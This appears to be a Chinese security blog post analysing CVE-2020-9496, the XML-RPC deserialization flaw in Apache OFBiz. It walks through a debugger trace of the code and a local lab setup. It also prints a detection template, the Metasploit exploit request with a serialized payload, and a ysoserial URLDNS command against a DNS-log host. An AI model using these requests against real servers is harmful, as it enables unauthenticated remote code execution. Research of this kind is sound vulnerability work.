zoukankan      html  css  js  c++  java
  • CVE-2020-9496 apache ofbiz xml-rpc反序列化漏洞分析

    0x00 apache ofbiz介绍

    OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

    0x01 漏洞影响版本

    < 17.12.04版本

    0x02 漏洞环境搭建

    参考上述文章,搭建漏洞环境:

    wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
    ▶ unzip apache-ofbiz-17.12.01.zip
    ▶ cd apache-ofbiz-17.12.01
    ▶ sh gradle/init-gradle-wrapper.sh
    ▶ ./gradlew cleanAll loadDefault
    ▶ ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
    ▶ ./gradlew ofbiz # Start OFBiz
    

    在IDEA中载入整个项目:

    使用Gradle进行debug调试,配置如下:

    debug启动程序后,访问https://localhost:8443/myportal/control/main

    • 注:如果遇到java.lang.UnsupportedClassVersionError: com/android/build/gradle/AppPlugin : Unsupported major.minor version 52.0错误,把at.bxm.gradleplugins:gradle-svntools-plugin:xxx这处的xxx改成2.2.1。

    0x03 POC

    id: CVE-2020-9496
    
    info:
      name: Apache OFBiz XML-RPC Java Deserialization
      author: dwisiswant0
      severity: medium
    
      # This temaplte detects a Java deserialization vulnerability in Apache
      # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
      # versions prior to 17.12.04.
      # --
      # References:
      # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
    
    requests:
      - raw:
          - |
            POST /webtools/control/xmlrpc HTTP/1.1
            Host: {{Hostname}}
            Content-Type: application/xml
    
            <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
        matchers-condition: and
        matchers:
          - type: word
            words:
              - "faultString"
              - "No such service [ProjectDiscovery]"
              - "methodResponse"
            condition: and
            part: body
          - type: word
            words:
              - "Content-Type: text/xml"
            part: header
          - type: status
            status:
              - 200
    

    根据这个yaml,可以了解到,当post一个xml的poc过去后,如果返回包里同时存在faultString,No such service [ProjectDiscovery],methodResponse证明有漏洞存在。

    0x04 漏洞分析

    根据/webtools/control/xmlrpc可知,我们去看webtools下的源码,来到webapp目录下的web.xml查看路由情况。

        <servlet>
            <description>Main Control Servlet</description>
            <display-name>ControlServlet</display-name>
            <servlet-name>ControlServlet</servlet-name>
            <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
            <load-on-startup>1</load-on-startup>
        </servlet>
        <servlet-mapping>
            <servlet-name>ControlServlet</servlet-name>
            <url-pattern>/control/*</url-pattern>
        </servlet-mapping>
    

    通过代码可知道,我们control下面的uri都是转发到ControlServlet控制器当中。跳转到org.apache.ofbiz.webapp.control.ControlServlet的源码,在doPost里打下断点。

    根据经验,下面这段代码才是路由器功能具体细分的代码,在这之前是对一些列的环境变量进行复制。

    try {
                // the ServerHitBin call for the event is done inside the doRequest method
                requestHandler.doRequest(request, response, null, userLogin, delegator);
            }
    
    

    跟入doRequest函数,先大致的F8走一遍看看。走完第一遍,再走第二遍的时候,根据注释// run the request event可以知道,

    这块会根据uri的不同进行java反射机制跳转到对应的控制类进行操作。跟入runEvent函数:

        public String runEvent(HttpServletRequest request, HttpServletResponse response,
                ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException {
            EventHandler eventHandler = eventFactory.getEventHandler(event.type);
            String eventReturn = eventHandler.invoke(event, requestMap, request, response);
            if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module);
            return eventReturn;
        }
    

    invoke的出现大概的佐证了我们的想法。跟入invoke:

        public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException {
            String report = request.getParameter("echo");
            if (report != null) {
                BufferedReader reader = null;
                StringBuilder buf = new StringBuilder();
                try {
                    // read the inputstream buffer
                    String line;
                    reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
                    while ((line = reader.readLine()) != null) {
                        buf.append(line).append("
    ");
                    }
                } catch (Exception e) {
                    throw new EventHandlerException(e.getMessage(), e);
                } finally {
                    if (reader != null) {
                        try {
                            reader.close();
                        } catch (IOException e) {
                            throw new EventHandlerException(e.getMessage(), e);
                        }
                    }
                }
                Debug.logInfo("Echo: " + buf.toString(), module);
    
                // echo back the request
                try {
                    response.setContentType("text/xml");
                    Writer out = response.getWriter();
                    out.write("<?xml version="1.0" encoding="UTF-8"?>");
                    out.write("<methodResponse>");
                    out.write("<params><param>");
                    out.write("<value><string><![CDATA[");
                    out.write(buf.toString());
                    out.write("]]></string></value>");
                    out.write("</param></params>");
                    out.write("</methodResponse>");
                    out.flush();
                } catch (Exception e) {
                    throw new EventHandlerException(e.getMessage(), e);
                }
            } else {
                try {
                    this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response));
                } catch (XmlRpcException e) {
                    Debug.logError(e, module);
                    throw new EventHandlerException(e.getMessage(), e);
                }
            }
    
            return null;
        }
    

    来到this.execute函数,跟入:

        public void execute(XmlRpcStreamRequestConfig pConfig,
                ServerStreamConnection pConnection) throws XmlRpcException {
            try {
                Object result = null;
                boolean foundError = false;
    
                try (InputStream istream = getInputStream(pConfig, pConnection)) {
                    XmlRpcRequest request = getRequest(pConfig, istream);
                    result = execute(request);
                } catch (Exception e) {
                    Debug.logError(e, module);
                    foundError = true;
                }
    
                ByteArrayOutputStream baos;
                OutputStream initialStream;
                if (isContentLengthRequired(pConfig)) {
                    baos = new ByteArrayOutputStream();
                    initialStream = baos;
                } else {
                    baos = null;
                    initialStream = pConnection.newOutputStream();
                }
    
                try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) {
                    if (!foundError) {
                        writeResponse(pConfig, ostream, result);
                    } else {
                        writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information"));
                    }
                }
    
                if (baos != null) {
                    try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) {
                        baos.writeTo(dest);
                    }
                }
    
                pConnection.close();
                pConnection = null;
            } catch (IOException e) {
                throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e);
            } finally {
                if (pConnection != null) {
                    try {
                        pConnection.close();
                    } catch (IOException e) {
                        Debug.logError(e, "Unable to close stream connection");
                    }
                }
            }
        }
    


    获取到了value的值,我们跟入看看getRequest函数。

        protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream)
                throws XmlRpcException {
            final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory());
            final XMLReader xr = SAXParsers.newXMLReader();
            xr.setContentHandler(parser);
            try {
                xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
                xr.setFeature("http://xml.org/sax/features/external-general-entities", false);
                xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                xr.parse(new InputSource(pStream));
            } catch (SAXException | IOException e) {
                throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e);
            }
            final List<?> params = parser.getParams();
            return new XmlRpcRequest() {
                public XmlRpcRequestConfig getConfig() {
                    return pConfig;
                }
                public String getMethodName() {
                    return parser.getMethodName();
                }
                public int getParameterCount() {
                    return params == null ? 0 : params.size();
                }
                public Object getParameter(int pIndex) {
                    return params.get(pIndex);
                }
            };
        }
    

    xr.parse(new InputSource(pStream));对input流数据进行了处理。
    利用msf的exp进行发送测试:

    POST /webtools/control/xmlrpc HTTP/1.1
    Host: localhost:8443
    Content-Type: text/xml
    Content-Length: 643
    
    <?xml version="1.0"?>
            <methodCall>
              <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
              <params>
                <param>
                  <value>
                    <struct>
                      <member>
                      <name>#{rand_text_alphanumeric(8..42)}</name>
                        <value>
                          <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
                        </value>
                      </member>
                    </struct>
                  </value>
                </param>
              </params>
            </methodCall>
    

    在调试器看到:

    从源码上debug不到后,我就根据调试器里的报错来查看具体的类:

    根据报错,我们知道了,有内容base64解码错误。根据exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>这里面的内容应该是base64后的内容。

    然后给<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>再次发送。

    断点在SerializableParser

    public class SerializableParser extends ByteArrayParser {
    	public Object getResult() throws XmlRpcException {
    		try {
    			byte[] res = (byte[]) super.getResult();
    			ByteArrayInputStream bais = new ByteArrayInputStream(res);
    			ObjectInputStream ois = new ObjectInputStream(bais);
    			return ois.readObject();
    		} catch (IOException e) {
    			throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);
    		} catch (ClassNotFoundException e) {
    			throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);
    		}
    	}
    }
    

    可知进行readObject是我们base64后的内容,即到达反序列化入口点。

    查了一轮资料,根据阿里先知上的文章了解到:

    这边是以XmlRpcRequestParser 为解析器对输入进行解析,XmlRpcRequestParser 是在 xmlrpc-common-3.1.3.jar 包中,而 xmlrpc-common-3.1.3.jar 则是 Java 中处理 XML-RPC 的第三方库,最新版本是2013年发布的 3.1.3。XML-RPC 是一种远程过程调用(remote procedure call)的分布式计算协议,通过 XML 将调用函数封装,并使用 HTTP 协议作为传送机制。
    


    当标签里存在serializable的时候,会进入到反序列化操作。

    使用java -jar yso.jar URLDNS "http://xxxx" > url.bin,然后:

    import base64
    
    
    # payload = open("url.bin").read()
    with open("./url.bin",'rb') as file:
        payload = file.read()
    
    bbs = base64.b64encode(payload)
    
    print(bbs)
    

    在dnslog上查看

    0x05 注意事项

    • 根据最开始提供的poc<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>来进行检测效果不太好,因为一旦ProjectDiscovery这个server已经有人打过,再打就不会提示 No such service ProjectDiscovery,建议此处换成随机字符串
    • 如果未出现No such service不代表不存在,可以使用urldns来进行测试,理论上存在下图的场景都是有可能存在漏洞的。

    0x06 Ofbiz的特征

    • 查看response的set-cookie是否带OFBiz.Visitor

    0x07 参考

  • 相关阅读:
    第二章例2-9
    第二章例2-8
    第二章例2-7
    第二章例2-6
    第二章例2-5
    第二章例2-4
    第二章例2-3
    第二章例2-2
    第二章例2-1
    第一章例1-2
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13576739.html
Copyright © 2011-2022 走看看